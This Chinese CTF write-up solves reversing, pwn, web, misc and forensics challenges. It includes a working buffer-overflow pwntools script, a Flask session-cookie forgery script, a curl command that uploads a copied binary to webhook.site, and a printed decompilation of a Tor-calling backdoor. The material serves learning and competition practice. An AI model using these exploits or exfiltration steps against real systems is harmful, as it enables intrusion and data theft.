Reverse Seal 
题目如上,没有什么线索,我们直接下载附件查看
先die和file看看,没什么特别的,是一个arm64的Mach-O可执行文件


再看一下字符串,strings一下

能看到不少的字符串,大概能看得出来在说需要一个key,而且还会检查长度
看上去逻辑不是很复杂,我们扔给IDA看看
这边IDA我v8.3的反编译不了,像下边一样报错了

但是v9.1的很坚挺,直接就给反编译出来了

那就很明确了,上来在检测长度是否为33

核心加密区域明显在这一块,a2是key,然后byte_100008000里边存着的都是密文
就一步简单异或

双击进去就全看见了密文
至于key,因为flag形式是xujc{}的,所以前四位与一个东西异或会变成xujc就行
很容易发现是0xD3
所以key和密文都有了,直接解就好了
1 2 3 4 5 6 enc = [ 0xAB,0xA6,0xB9,0xB0,0xA8,0xBE,0xB2,0xB0,0xE3,0xE6,0x8C,0xE7,0xA1,0xBE,0xE5,0xE7,0x8C,0xE2,0xBD,0xA7,0xE0,0xB4,0xA1,0xE2,0xA7,0xAA,0x8C,0xB0,0xBB,0xE0,0xB0,0xB8,0xAE] for i in range(len(enc)): enc[i] ^= 0xD3 print(bytes(enc))

得到flag为xujc{mac05_4rm64_1nt3gr1ty_ch3ck}
Matzs Nightmare 
依旧die,file


依旧是个arm64的Mach-O可执行文件
依旧放到v9.1的ida里,v8.3的反编译不了

看看字符串,发现有一堆的mruby,这是Ruby语言的轻量级解释器
和题目中的语言,以及题目Matzs都对应上了,因为mruby的开发者就是Matzs团队

最核心的是RITE0300完美对应 mruby 的字节码格式标志,本题就是一个宿主C程序加上了内嵌的mruby的结构
C语言的那部分主要负责启动mruby,把RITE字节码load进去,然后去进行校验
所以我们的核心就是把这个字节码抽出来,然后看清楚检验flag的逻辑,最后求flag
首先抽出来,利用dd就能抽了
1 2 3 4 OFFSET=450208 SIZE=1118 dd if=matzs of=code.mrb bs=1 skip=$OFFSET count=$SIZE
关键是这俩OFFSET和SIZE怎么得到
首先是OFFSET
1 grep -oba "RITE0300" matzs
我们通过标志位RITE0300来锁定并gerp获得偏移量

是在450208的位置

就这里
然后是确定SIZE,注意第0x08–0x0B这4个字节即可

0x045E,所以是1118

执行dd命令,得到code.mrb
有了这个字节码之后看看信息和指令就好了

好接下来我们看看在干啥就好了

首先是这一块,对长度在检测,限制长度需要是45才可以

然后是这边开始按 9 个字符一组切块

后边是两块,刚刚45个被切成了5组嘛,就一组一组来
这边是第一组,可以看到上边是常量数组,下边是XOR密钥是55
五组都这样子来大概就是这样子
1 2 size_check(s) && split(s).zip(validators).map { |chunk, f| f.call(chunk) }.all?
我们直接写代码反着来一遍就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 enc = [ [79, 66, 93, 84, 76, 19, 95, 4, 104], [221, 154, 223, 155, 206, 245, 196, 153, 220], [33, 96, 77, 54, 38, 107, 77, 101, 122], [238, 175, 238, 130, 249, 181, 238, 130, 190], [97, 56, 102, 10, 51, 39, 101, 56, 40], ] keys = [55, 170, 18, 221, 85] flag = "" for arr, key in zip(enc, keys): flag += "".join(chr(c ^ key) for c in arr) print(flag)
输出得到答案:xujc{$h3_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}
Pwn Magic Over 
保护:


看主函数,这边存在溢出,正好有8个字节

让v5初始值为0x04030201,然后填充进去0xBEBABEC0即可(小端序)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level = 'debug' p = remote('47.122.52.77', 33405) p.recvuntil(b"[>] Enter data to overwrite buffer: \n") payload = b'A' * 56 payload += p64(0xC0FEBABE) p.sendline(payload) p.recvuntil(b"Opening root shell...\n") p.sendline(b"cat flag* 2>/dev/null || cat /flag* 2>/dev/null || find / -name flag* 2>/dev/null || env | grep -i flag") flag = p.recvall(timeout=2).decode() print(f"\n[+] Found flag: {flag}") p.close()
得到flag
Web Real or AI 
一个游戏,我们在源代码能看到得到flag的方法

根据要求,先需要修改,注入 SHA-256 函数并重写原函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 // 先注入 SHA-256 实现 function sha256(ascii) { function rightRotate(value, amount) { return (value >>> amount) | (value << (32 - amount)); } var mathPow = Math.pow; var maxWord = mathPow(2, 32); var lengthProperty = 'length'; var i, j; var result = ''; var words = []; var asciiBitLength = ascii[lengthProperty] * 8; var hash = sha256.h = sha256.h || []; var k = sha256.k = sha256.k || []; var primeCounter = k[lengthProperty]; var isComposite = {}; for (var candidate = 2; primeCounter < 64; candidate++) { if (!isComposite[candidate]) { for (i = 0; i < 313; i += candidate) { isComposite[i] = candidate; } hash[primeCounter] = (mathPow(candidate, .5) * maxWord) | 0; k[primeCounter++] = (mathPow(candidate, 1 / 3) * maxWord) | 0; } } ascii += '\x80'; while (ascii[lengthProperty] % 64 - 56) ascii += '\x00'; for (i = 0; i < ascii[lengthProperty]; i++) { j = ascii.charCodeAt(i); if (j >> 8) return; words[i >> 2] |= j << ((3 - i) % 4) * 8; } words[words[lengthProperty]] = ((asciiBitLength / maxWord) | 0); words[words[lengthProperty]] = (asciiBitLength); for (j = 0; j < words[lengthProperty];) { var w = words.slice(j, j += 16); var oldHash = hash; hash = hash.slice(0, 8); for (i = 0; i < 64; i++) { var w15 = w[i - 15], w2 = w[i - 2]; var a = hash[0], e = hash[4]; var temp1 = hash[7] + (rightRotate(e, 6) ^ rightRotate(e, 11) ^ rightRotate(e, 25)) + ((e & hash[5]) ^ ((~e) & hash[6])) + k[i] + (w[i] = (i < 16) ? w[i] : ( w[i - 16] + (rightRotate(w15, 7) ^ rightRotate(w15, 18) ^ (w15 >>> 3)) + w[i - 7] + (rightRotate(w2, 17) ^ rightRotate(w2, 19) ^ (w2 >>> 10)) ) | 0 ); var temp2 = (rightRotate(a, 2) ^ rightRotate(a, 13) ^ rightRotate(a, 22)) + ((a & hash[1]) ^ (a & hash[2]) ^ (hash[1] & hash[2])); hash = [(temp1 + temp2) | 0].concat(hash); hash[4] = (hash[4] + temp1) | 0; } for (i = 0; i < 8; i++) { hash[i] = (hash[i] + oldHash[i]) | 0; } } for (i = 0; i < 8; i++) { for (j = 3; j + 1; j--) { var b = (hash[i] >> (j * 8)) & 255; result += ((b < 16) ? 0 : '') + b.toString(16); } } return result; } // 重写 verifyAndFetchFlag window.verifyAndFetchFlag = async function(e, t) { const salt = "c3Mddbo1oit2CF92Clb9HenrjWBd6rXa"; const msg = salt + e.toString() + t.toString(); const hashHex = sha256(msg); console.log('计算哈希:', hashHex); console.log('参数:', e, t); fetch('/secrets/' + hashHex + '.txt') .then(response => { if (response.ok) return response.text(); throw new Error('404 Not Found'); }) .then(flag => { navigator.clipboard.writeText(flag.trim()); alert('Success! Flag copied: ' + flag.trim()); }) .catch(err => { console.error(err); alert('Verification Failed.'); }); }; console.log('verifyAndFetchFlag 已重写,使用本地 SHA-256 实现');
接下来直接尝试得到flag即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 async function tryCommonCombinations() { const salt = "snpFQjIU1EwWZAAWpch5hlKlq5nb1Zvi"; // 常见总轮数 const commonTotals = [999] // 尝试满分组合 for (let t of commonTotals) { const e = t; // 满分 const msg = salt + e.toString() + t.toString(); const hashHex = sha256(msg); console.log(`尝试 e=${e}, t=${t}, 哈希: ${hashHex.substring(0, 16)}...`); try { const response = await fetch(`/secrets/${hashHex}.txt`); if (response.ok) { const flag = await response.text(); console.log(`成功! e=${e}, t=${t}, flag: ${flag}`); navigator.clipboard.writeText(flag.trim()); alert('Flag: ' + flag.trim()); return; } } catch (err) { // 继续尝试 } // 等待一下,避免请求过快 await new Promise(resolve => setTimeout(resolve, 100)); } console.log('未找到 flag'); } // 运行尝试 tryCommonCombinations();
吃吃吃 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import requests from itsdangerous import URLSafeTimedSerializer import secrets from datetime import datetime # 生成会话cookie def generate_cookie(): secret_key = "welcometotkkctf" s = URLSafeTimedSerializer( secret_key, salt='cookie-session', signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'SHA1'} ) now = datetime.now() user_id = f"{now.hour}{now.minute}/" + secrets.token_urlsafe(30) session_data = {'user': user_id, 'balance': 100000} cookie = s.dumps(session_data) return cookie # 目标URL(替换为实际IP和端口) url = "http://47.122.52.77:33452/" # 例如: http://192.168.1.100:9999 # 生成cookie cookie = generate_cookie() headers = {'Cookie': f'session={cookie}'} print(f"生成的Cookie: {cookie}") # 创建会话保持cookie s = requests.Session() s.headers.update(headers) try: # 1. 访问首页初始化余额 r = s.get(url) print(f"访问首页状态码: {r.status_code}") if r.status_code != 200: print("首页访问失败,检查URL和网络") exit() # 2. 购买两个面条 for i in range(2): r = s.post(url + "/buy_noodles") print(f"购买面条 {i+1}: {r.text}") if "错误" in r.text: print("购买面条失败,余额不足") exit() # 3. 购买一个零食 r = s.post(url + "/buy_snack") print(f"购买零食: {r.text}") if "错误" in r.text: print("购买零食失败,余额不足") exit() # 4. 访问/eat获取flag r = s.get(url + "/eat") print("\n=== 结果 ===") print(r.text) if "GZCTF" in r.text or "flag" in r.text.lower(): print("✅ 成功获取flag!") else: print("❌ 未找到flag,检查购买是否成功") except Exception as e: print(f"请求失败: {e}")
Misc Game 更是新颖啊,evtx文件我还第一次见呢

一条条看有点太折磨了
大概是14.21左右有人点开了这个加密的pdf
然后弹了UAC
之后在14.26左右开始出现一堆Powershell进程了

这些Powershell在一次次往b.dat里边塞Base64
目的是合成大脚本

最后干出来了,用certutil把b.dat解码了,变成了Powershell脚本
这里边有两个至关重要出现的Key1和Key2
1 2 Key1=TkkcSecProtectsTanKahKeeCollege Key2=ictoryIsOursLonliveTotheCTF
所以我们跟这个日志一样拼起来去解那个pdf就好了
简化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 param( [string]$InFile = "flag.pdf.secured", [string]$OutFile = "flag.pdf" ) # Base64 解码函数(跟原脚本一样) function f_dec { param([string]$in) [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String($in) ) } # Key 1 / Key 2:保持和原脚本一致 $p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ==" $o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG" # 解出明文密钥字符串 $u88Ty = f_dec $p44Lm # "TkkcSecProtectsTanKahKeeCollege" $i33Er = f_dec $o55Nr # "ictoryIsOursLonliveTotheCTF" # 和原来完全一样的 XOR 函数 function f_crpt { param( [byte[]]$b_src, [byte[]]$k_a, [byte[]]$k_b ) $res = New-Object byte[] ($b_src.Length) for ($i = 0; $i -lt $b_src.Length; $i++) { $v1 = $k_a[$i % $k_a.Length] $v2 = $k_b[$i % $k_b.Length] $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2 } return $res } function Invoke-DecryptFile { param( [string]$InPath, [string]$OutPath ) if (-not (Test-Path -LiteralPath $InPath)) { Write-Error "Input file not found: $InPath" return } # 1. 读 .secured 里的 Base64 文本 $b64 = Get-Content -LiteralPath $InPath -Raw # 2. Base64 解码成加密字节 $encBytes = [System.Convert]::FromBase64String($b64) # 3. 准备两个密钥字节数组 $keyA = [System.Text.Encoding]::UTF8.GetBytes($u88Ty) $keyB = [System.Text.Encoding]::UTF8.GetBytes($i33Er) # 4. 再 XOR 一次,得到原始字节 $plainBytes = f_crpt $encBytes $keyA $keyB # 5. 写成真正的 PDF 文件 [System.IO.File]::WriteAllBytes($OutPath, $plainBytes) Write-Host "Decrypted OK -> $OutPath" } # 入口:用参数调用 Invoke-DecryptFile -InPath $InFile -OutPath $OutFile
差不多就是这样子
就是先Base64解码然后再XOR两个Key就好了
我们把这个代码保存为decrypt.ps1
然后执行
1 powershell -ExecutionPolicy Bypass -File .\decrypt.ps1
即可得到


打开就是flag
Screen Shot 
其实我感觉是蛮贴合实际的一道好题目
首先给了一个kali404,是一个删完了bash_history的日志
日志不长,我们直接记事本打开就能看

这边很显眼有个base64

解开得到了个Site 4

这边还有一系列的提示,例如东边有Groom干湖,在NW侧的停机坪上等等
有许许多多的提示确定了这个最后的方位在美国内华达Nevada Test and Training Range(NTTR)/Nellis相关区域

我们很快就能定位到这个地方
然后根据描述,是右边就是干湖的
这边大方位都是上方干湖
所以可以锁定差不多在这边

又说是直升机

基本可以确定是这一架了

所以flag为xujc{-115.8123_37.2471}(注意顺序即可)
Operation Ghost 
对于这一类题目的了解程度感觉十分欠缺,也不知道如何将里边的可疑文件提出来,由本题展开学习。
本题目复现借鉴了Red师傅和Aristore师傅
https://redshome.top/posts/2025-12-08-2025-tkkctf/
https://www.aristore.top/posts/TKKCTF2025/#Challenge-2
首先是蜜罐
蜜罐一般会部署在一个独立的计算机或者虚拟机中运行,来模拟一个操作系统和应用程序,这模拟出来的漏洞和弱点都是和真实系统相似的,这样子通过监控和分析蜜罐的异常就能及时发现和应对潜在的网络威胁了。
蜜罐一般分为低交互和高交互蜜罐:低交互蜜罐会提供有限容易设置的信息,系统也只提供最低等级的交互,运维方便,但也容易被攻击者识别;至于高交互,更自由一点,开放世界,攻击者更便于横向渗透,而防守方也更方便后续溯源。
本题就是这样子一个蜜罐,被黑客打了,但是黑客隐藏起来了,我们需要找到他留下来的秘密
我们打开本环境
寻找秘密文件 
输入root即可进入环境,根据题目所述,找不到可疑文件,因此我们考虑去进程搜索
查找一下指向(deleted)的进程
1 ls -l /proc/*/exe 2>/dev/null | grep deleted

成功找到了一个进程,PID为44
我们发现这个蜜罐允许strace命令, 那我们用strace -p 44来观察一下进程的行为

发现这个进程20秒就会重新运行一次
再看看环境

发现这边有一个Key:X-TKKC-Key-2025
说明后边可能要解密啥的,至少也说明我们找对了,就是和这个进程有关
我们尝试恢复这个删除的文件,利用系统会在进程运行时把可执行文件备份在内存的这个特性,我们可以用cp把这个进程给备份出来
1 cp /proc/44/exe /tmp/1.bin
尝试恢复文件 接下来我们想尝试能否将这个程序给提取出来查看内部结构,因此我们可以先测试是否出网

ping百度发现能ping通,因此是出网环境
利用webhook进行提取
1 curl -v -F 'file=@/tmp/1.bin' https://webhook.site/32079797-3f62-4409-988a-2c035c9acf16
(这个要钱。。)
我们也可以采用离线的时候一般采用的Base64编码带出来解码
借一下Aristore师傅的脚本,谢谢Aristore师傅
是在利用pwntools过前边几步然后以base64编码带出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import sys import threading import time from pwn import * HOST = '47.122.52.77' PORT = 33785 LOG_FILENAME = "ghost.log" def main(): try: io = remote(HOST, PORT) except: print("[-] 连接失败") return io.recvuntil(b"TKKCSec login:") io.sendline(b'root') io.recvuntil(b'#') # 打开日志文件准备写入 log_file = open(LOG_FILENAME, 'wb') # 定义一个标志位用于控制线程退出 running = True # 接收 def receiver(): while running: try: # 每次读取一点数据 data = io.recv(timeout=0.1) if not data: continue # 写入文件 log_file.write(data) log_file.flush() except EOFError: print("\n[*] 断开连接") break except Exception: break # 启动接收线程 t = threading.Thread(target=receiver) t.daemon = True t.start() io.sendline("PID=$(ls -al /proc/*/exe 2>/dev/null | grep deleted | awk -F/ '{print $3}' | head -n 1)".encode()) time.sleep(2) io.sendline("cp /proc/$PID/exe /tmp/kworker_u4_0".encode()) time.sleep(2) io.sendline("base64 /tmp/kworker_u4_0".encode()) time.sleep(10) # 清理 running = False log_file.close() io.close() if __name__ == "__main__": main()

成功提取出来,我们去base64编码一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/env python3 import base64 import sys import os def main(): base64_data = sys.stdin.read() base64_data = ''.join([ch for ch in base64_data if ch in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=']) try: decoded_data = base64.b64decode(base64_data) except Exception as e: print("解码失败:", e) sys.exit(1) output_file = "1.bin" with open(output_file, 'wb') as f: f.write(decoded_data) print("解密完成,输出文件:", output_file) print("文件大小:", len(decoded_data), "字节") if __name__ == '__main__': main()
成功提取出文件,放入die看看
文件逻辑分析 
放到64位IDA中查看

可以看到程序从这边开始,这边也是和我们刚刚的内容吻合,程序伪装成了Linux内核工作线程 [kworker/u4:0]之后每20秒进行了一次后门sub_40191A函数
核心在于这边的sub_40191A函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 _BYTE *sub_40191A() { _BYTE *result; // rax int v1; // r8d int v2; // r9d __int64 v3; // rax char v4[512]; // [rsp+0h] [rbp-3A0h] BYREF char v5[128]; // [rsp+200h] [rbp-1A0h] BYREF __int16 v6[2]; // [rsp+280h] [rbp-120h] BYREF int v7; // [rsp+284h] [rbp-11Ch] char v8[64]; // [rsp+290h] [rbp-110h] BYREF char v9[128]; // [rsp+2D0h] [rbp-D0h] BYREF char v10[16]; // [rsp+350h] [rbp-50h] BYREF char v11[20]; // [rsp+360h] [rbp-40h] BYREF unsigned int v12; // [rsp+374h] [rbp-2Ch] _BYTE *v13; // [rsp+378h] [rbp-28h] _BYTE *v14; // [rsp+380h] [rbp-20h] _BYTE *v15; // [rsp+388h] [rbp-18h] _BYTE *v16; // [rsp+390h] [rbp-10h] _BYTE *v17; // [rsp+398h] [rbp-8h] strcpy(v11, "TKKC_AUTH_TOKEN"); result = (_BYTE *)sub_404A40(v11); v17 = result; if ( result ) { sub_4017BB(v17, v10); sub_40185E(&unk_4A40E0, 72LL, v10, v9); sub_40185E(&unk_4A4130, 24LL, v10, v8); result = (_BYTE *)sub_401060(v9, &unk_477010); v16 = result; if ( result ) { v16 += 3; result = (_BYTE *)sub_4010C0(v16, 47LL); v15 = result; if ( result ) { *v15 = 0; v14 = v16; v13 = v15 + 1; v12 = sub_417D80(2LL, 1LL, 0LL); v6[0] = 2; v6[1] = sub_417EB0(9050LL); v7 = sub_4180B0("127.0.0.1"); if ( (int)sub_417D60(v12, v6, 16LL) >= 0 ) { sub_404CA0((unsigned int)v5, 128, (unsigned int)v8, (_DWORD)v17, v1, v2, v4[0]); sub_404CA0( (unsigned int)v4, 512, (unsigned int)"GET /%s HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", (_DWORD)v13, (_DWORD)v14, (unsigned int)v5, v4[0]); v3 = sub_4010B8(v4); sub_416EC0(v12, v4, v3); return (_BYTE *)sub_416EA0(v12); } else { return (_BYTE *)sub_416EA0(v12); } } } } return result; }
这个后门主要干了4件事
1,先读取环境变量

2,从token生成密钥

可以看到用的是FNV-1a哈希和线性同余生成器(LCG)
我们token是X-TKKC-Key-2025
所以得到token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def fnv1a_hash(data): hash_value = 0x811C9DC5 for byte in data.encode(): hash_value ^= byte hash_value = (hash_value * 16777619) & 0xFFFFFFFF return hash_value def generate_key(token): h = fnv1a_hash(token) key = [h & 0xFFFFFFFF] for i in range(3): h = (1664525 * key[i] + 1013904223) & 0xFFFFFFFF key.append(h) hex_key = [hex(num) for num in key] return hex_key print(generate_key("X-TKKC-Key-2025"))
key=[‘0xdfaaee15’, ‘0xf3066870’, ‘0x544ee10f’, ‘0xec935b22’]
3,解密URL和User-Agent模板


接下来来解密URL和User-Agent了

点进去发现是标准的XTEA算法,32轮
找一下密文

这边其实已经写了
XTEA解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import struct def xtea_decrypt_block(v, key): v0, v1 = struct.unpack('<II', v) delta = 0x61C88647 sum_val = 0xC6EF3720 # delta * 32 for i in range(32): v1 = (v1 - ((((v0 >> 5) ^ (v0 << 4)) + v0) ^ (key[(sum_val >> 11) & 3] + sum_val))) & 0xFFFFFFFF sum_val = (sum_val + delta) & 0xFFFFFFFF v0 = (v0 - ((((v1 >> 5) ^ (v1 << 4)) + v1) ^ (key[sum_val & 3] + sum_val))) & 0xFFFFFFFF return struct.pack('<II', v0, v1) def hex_string_to_int(hex_str): if isinstance(hex_str, str): if hex_str.startswith('0x'): return int(hex_str, 16) else: return int(hex_str, 16) return hex_str def decrypt_xxtea(ciphertext_hex, key_hex): key = [hex_string_to_int(k) for k in key_hex] print(f"密钥(整数形式): {[hex(k) for k in key]}") ciphertext_bytes = bytes([hex_string_to_int(b) for b in ciphertext_hex]) print(f"密文长度: {len(ciphertext_bytes)} 字节") if len(ciphertext_bytes) % 8 != 0: print(f"警告: 密文长度({len(ciphertext_bytes)})不是8的倍数,可能会解密失败") decrypted_data = bytearray() block_size = 8 for i in range(0, len(ciphertext_bytes), block_size): if i + block_size <= len(ciphertext_bytes): block = ciphertext_bytes[i:i + block_size] decrypted_block = xtea_decrypt_block(block, key) decrypted_data.extend(decrypted_block) try: padding_length = decrypted_data[-1] if padding_length <= block_size: if all(b == padding_length for b in decrypted_data[-padding_length:]): decrypted_data = decrypted_data[:-padding_length] print(f"去除PKCS7填充: {padding_length} 字节") except (IndexError, ValueError): pass return bytes(decrypted_data) key = ['0xdfaaee15', '0xf3066870', '0x544ee10f', '0xec935b22'] ciphertext = [ 0xAB, 0x80, 0x05, 0x4B, 0xE0, 0x0A, 0x84, 0x9D, 0x2C, 0x1E, 0xC3, 0xEA, 0x79, 0x0B, 0x55, 0x0D, 0x24, 0x08, 0x26, 0xD0, 0x41, 0x8F, 0x33, 0x0A, 0xEE, 0xB4, 0xB4, 0x1F, 0x99, 0x47, 0x5C, 0x2B, 0xFA, 0x5E, 0xF5, 0xFD, 0xF3, 0xE9, 0x85, 0x3B, 0xEC, 0x7A, 0x64, 0xD7, 0xEA, 0x14, 0x7D, 0x8E, 0xFB, 0x20, 0x70, 0x73, 0x5D, 0xD6, 0x5F, 0x63, 0x13, 0x5B, 0xF1, 0xB0, 0x64, 0xC2, 0x10, 0x6C, 0xC1, 0xB1, 0x4B, 0x72, 0xB7, 0x51, 0x83, 0x73 ] print("开始XXTEA解密...") print("=" * 50) decrypted_result = decrypt_xxtea(ciphertext, key) print("\n解密结果:") print("=" * 50) print(f"原始字节: {decrypted_result.hex()}") try: utf8_decoded = decrypted_result.decode('utf-8', errors='ignore') print(f"UTF-8解码: {utf8_decoded}") except Exception as e: print(f"UTF-8解码失败: {e}") print("=" * 50) print("解密完成!")
0x4A40E0这边有72字节:
1 2 3 4 5 6 7 8 0xAB, 0x80, 0x05, 0x4B, 0xE0, 0x0A, 0x84, 0x9D, 0x2C, 0x1E, 0xC3, 0xEA, 0x79, 0x0B, 0x55, 0x0D, 0x24, 0x08, 0x26, 0xD0, 0x41, 0x8F, 0x33, 0x0A, 0xEE, 0xB4, 0xB4, 0x1F, 0x99, 0x47, 0x5C, 0x2B, 0xFA, 0x5E, 0xF5, 0xFD, 0xF3, 0xE9, 0x85, 0x3B, 0xEC, 0x7A, 0x64, 0xD7, 0xEA, 0x14, 0x7D, 0x8E, 0xFB, 0x20, 0x70, 0x73, 0x5D, 0xD6, 0x5F, 0x63, 0x13, 0x5B, 0xF1, 0xB0, 0x64, 0xC2, 0x10, 0x6C, 0xC1, 0xB1, 0x4B, 0x72, 0xB7, 0x51, 0x83, 0x73
解密得到URL:http://w72fshce2bvewxwdeh5252eq2rwnxyli56om7qasctcwhekhyhjouwyd.onion
0x4A4130这边有24字节:
1 2 3 0xEB, 0x3E, 0x70, 0x5C, 0x8A, 0x8D, 0xED, 0x9C, 0x8F, 0x54, 0xC9, 0x26, 0x71, 0x73, 0xA6, 0x96, 0xD4, 0x7E, 0x46, 0xBE, 0x0C, 0xAD, 0xCA, 0x23
解密得到User-Agent:TKKC-Bot-Agent/%s
4,发请求到127.0.0.1:9050

这边是直接明文写的,一些很基础的请求结构
1 2 3 4 GET /{path} HTTP/1.0 Host: {onion_address} User-Agent: TKKC-Bot-Agent/{version} Connection: close
我们看到了URL是onion结尾的,所以这个地方其实用到了Tor隐藏

建立一下Tor连接,连接完之后才能进行下一步
根据刚刚得到的User-Agent,我们得到了这样子一串十六进制
1 20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d720855174b5b574f
用刚刚得到的那个Key进行异或,得到了一串flag

xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_C0nfig}
但是是假的
这一串leet提示了真正的flag在config里
我们加上/config路径
1 20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147a2d7278284d1c5e4d

同样的手段得到xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_3M41l}
还是错的,说在/email,但是这次直接看没有
我们另存为HAR
https://github.com/PureWaterSun/har-analyzer
运用一下这个工具

可以看到X-Emergency-Contact这边有一串字符串
dGtrY19zaGFkb3dfb3BzXzg4QHlvcG1haWwuY29t
base64解码一下

得到了邮箱地址
https://yopmail.com/zh/

给邮箱地址是一个临时地址

点开我们终于得到了flag
xujc{R3sp0ns3_H3ad3rs_L3ak_Th3_Tru7h}